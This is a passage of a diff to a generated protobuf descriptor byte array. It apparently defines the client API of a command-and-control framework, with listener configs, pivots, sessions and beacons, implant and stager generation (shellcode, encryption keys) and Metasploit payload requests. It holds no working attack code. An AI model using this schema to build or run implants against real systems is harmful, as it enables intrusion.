0x20, 0x01, - 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, - 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, - 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, - 0x06, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x06, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x73, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xda, 0x02, 0x0a, 0x0b, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, - 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x12, 0x35, 0x0a, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x52, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x2f, 0x0a, 0x06, 0x57, - 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x52, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x32, 0x0a, 0x07, - 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x07, 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, - 0x12, 0x35, 0x0a, 0x08, 0x48, 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, - 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x48, - 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x3e, 0x0a, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, - 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, 0x65, - 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x09, 0x4d, 0x75, - 0x6c, 0x74, 0x69, 0x43, 0x6f, 0x6e, 0x66, 0x22, 0x40, 0x0a, 0x16, 0x4d, 0x75, 0x6c, 0x74, 0x69, - 0x70, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x22, 0x39, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, - 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x22, 0x7d, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, - 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, - 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, - 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, - 0x6f, 0x72, 0x74, 0x22, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, - 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, - 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, - 0x65, 0x4f, 0x54, 0x50, 0x22, 0xd5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, - 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, - 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, - 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, - 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, - 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, - 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, - 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, - 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, - 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, - 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, - 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, - 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, - 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, - 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, - 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, - 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, - 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, - 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, - 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, - 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, - 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, - 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, - 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, - 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x52, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x8c, 0x02, 0x0a, 0x10, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, - 0x07, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x41, - 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0d, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, - 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, - 0x76, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, - 0x79, 0x70, 0x74, 0x49, 0x76, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, 0x72, - 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x43, - 0x34, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50, - 0x72, 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0b, 0x50, 0x72, 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x12, 0x1a, 0x0a, 0x08, 0x43, - 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, - 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, + 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x18, 0x65, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1c, + 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, 0x09, + 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x2b, 0x0a, 0x10, 0x48, 0x54, + 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x96, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, + 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x97, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x37, 0x0a, 0x16, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, + 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x98, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x54, + 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x29, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x99, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, + 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, - 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, - 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, - 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, - 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 